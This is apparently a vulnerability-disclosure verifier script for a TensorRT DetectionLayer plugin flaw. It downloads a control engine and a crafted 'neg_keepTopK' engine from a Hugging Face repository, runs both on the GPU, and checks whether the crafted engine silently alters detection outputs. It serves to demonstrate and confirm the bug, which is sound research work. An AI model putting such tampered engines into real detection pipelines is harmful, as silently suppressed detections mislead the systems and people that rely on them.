verify_remote_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import ctypes
import hashlib
import json
import os
import shutil
import sys
import tempfile
import urllib.request
from pathlib import Path


BASE = "https://huggingface.co/hacnho/tensorrt-detectionlayer-suppression-poc/resolve/main"
FILES = {
    "control": "control.engine",
    "neg_keepTopK": "neg_keepTopK.engine",
}
TENSORRT_PYTHON = Path("/home/hacnho/Projects/research/targets/huntr/work/tensorrt-lab-11_1/.venv/bin/python")


def ensure_tensorrt_python() -> None:
    try:
        import tensorrt  # noqa: F401

        return
    except ModuleNotFoundError:
        current = Path(sys.executable)
        if TENSORRT_PYTHON.exists() and current != TENSORRT_PYTHON:
            os.execv(str(TENSORRT_PYTHON), [str(TENSORRT_PYTHON), __file__, *sys.argv[1:]])
        raise


def sha256_file(path: Path) -> str:
    h = hashlib.sha256()
    with path.open("rb") as f:
        while True:
            chunk = f.read(1024 * 1024)
            if not chunk:
                break
            h.update(chunk)
    return h.hexdigest()


def load_cudart():
    cudart = ctypes.CDLL("libcudart.so")
    cuda_malloc = cudart.cudaMalloc
    cuda_malloc.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.c_size_t]
    cuda_malloc.restype = ctypes.c_int
    cuda_free = cudart.cudaFree
    cuda_free.argtypes = [ctypes.c_void_p]
    cuda_free.restype = ctypes.c_int
    cuda_memcpy = cudart.cudaMemcpy
    cuda_memcpy.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
    cuda_memcpy.restype = ctypes.c_int
    cuda_memset = cudart.cudaMemset
    cuda_memset.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_size_t]
    cuda_memset.restype = ctypes.c_int
    return {
        "malloc": cuda_malloc,
        "free": cuda_free,
        "memcpy": cuda_memcpy,
        "memset": cuda_memset,
        "h2d": 1,
        "d2h": 2,
    }


def upload_floats(cuda: dict, ptr: ctypes.c_void_p, values: list[float]) -> None:
    arr = (ctypes.c_float * len(values))(*values)
    rc = cuda["memcpy"](ptr, ctypes.cast(arr, ctypes.c_void_p), ctypes.sizeof(arr), cuda["h2d"])
    if rc != 0:
        raise RuntimeError(f"cudaMemcpy H2D failed rc={rc}")


def presets() -> dict[str, dict[str, list[float]]]:
    return {
        "all_zero": {
            "bbox": [0.0] * 8,
            "cls": [0.0, 0.0],
            "anchors": [0.0] * 4,
        },
        "positive_cls": {
            "bbox": [0.1, 0.1, 0.2, 0.2, 0.0, 0.0, 0.0, 0.0],
            "cls": [0.05, 0.95],
            "anchors": [0.5, 0.5, 1.0, 1.0],
        },
        "neg_cls": {
            "bbox": [0.1, 0.1, 0.2, 0.2, 0.0, 0.0, 0.0, 0.0],
            "cls": [-0.5, -0.1],
            "anchors": [0.5, 0.5, 1.0, 1.0],
        },
        "mixed_bbox": {
            "bbox": [1.0, -1.0, 2.0, -2.0, 0.5, 0.5, -0.5, -0.5],
            "cls": [0.2, 0.7],
            "anchors": [0.1, 0.2, 0.3, 0.4],
        },
        "foreground_strong": {
            "bbox": [0.2, 0.2, 0.0, 0.0, -0.2, -0.2, 0.1, 0.1],
            "cls": [0.01, 0.99],
            "anchors": [0.0, 0.0, 1.0, 1.0],
        },
    }


def run_engine(engine_path: Path) -> dict:
    import tensorrt as trt

    cuda = load_cudart()
    logger = trt.Logger(trt.Logger.ERROR)
    trt.init_libnvinfer_plugins(logger, "")
    runtime = trt.Runtime(logger)
    blob = engine_path.read_bytes()
    engine = runtime.deserialize_cuda_engine(blob)

    result = {
        "engine_path": str(engine_path),
        "engine_sha256": sha256_file(engine_path),
        "presets": {},
    }
    for preset_name, preset in presets().items():
        ctx = engine.create_execution_context()
        ptrs: dict[str, tuple[ctypes.c_void_p, int]] = {}
        try:
            for i in range(engine.num_io_tensors):
                tensor_name = engine.get_tensor_name(i)
                shape = engine.get_tensor_shape(tensor_name)
                count = 1
                for dim in shape:
                    count *= dim
                nbytes = count * 4
                ptr = ctypes.c_void_p()
                assert cuda["malloc"](ctypes.byref(ptr), nbytes) == 0
                assert cuda["memset"](ptr, 0, nbytes) == 0
                assert ctx.set_tensor_address(tensor_name, ptr.value)
                ptrs[tensor_name] = (ptr, nbytes)
                if tensor_name in preset:
                    upload_floats(cuda, ptr, preset[tensor_name])
            infer = ctx.infer_shapes()
            exec_ok = ctx.execute_async_v3(0)
            output_name = engine.get_tensor_name(engine.num_io_tensors - 1)
            _, out_nbytes = ptrs[output_name]
            float_count = min(max(out_nbytes // 4, 1), 24)
            host = (ctypes.c_float * float_count)()
            copy_rc = cuda["memcpy"](ctypes.byref(host), ptrs[output_name][0], float_count * 4, cuda["d2h"])
            result["presets"][preset_name] = {
                "infer_shapes": infer,
                "execute_ok": bool(exec_ok),
                "output_copy_rc": copy_rc,
                "output_values": [float(x) for x in host],
            }
        finally:
            for ptr, _ in ptrs.values():
                if ptr.value:
                    cuda["free"](ptr)
    return result


def main() -> int:
    ensure_tensorrt_python()
    td = Path(tempfile.mkdtemp(prefix="hf_trt_detectionlayer_"))
    try:
        local = {}
        for label, name in FILES.items():
            dst = td / name
            urllib.request.urlretrieve(f"{BASE}/{name}", dst)
            local[label] = dst
        control = run_engine(local["control"])
        malicious = run_engine(local["neg_keepTopK"])
        payload = {
            "base": BASE,
            "control": control,
            "neg_keepTopK": malicious,
            "semantic_suppression_observed": (
                control["presets"]["positive_cls"]["output_values"] != malicious["presets"]["positive_cls"]["output_values"]
                and control["presets"]["mixed_bbox"]["output_values"] != malicious["presets"]["mixed_bbox"]["output_values"]
            ),
        }
        print(json.dumps(payload, indent=2, ensure_ascii=False))
        return 0
    finally:
        shutil.rmtree(td, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())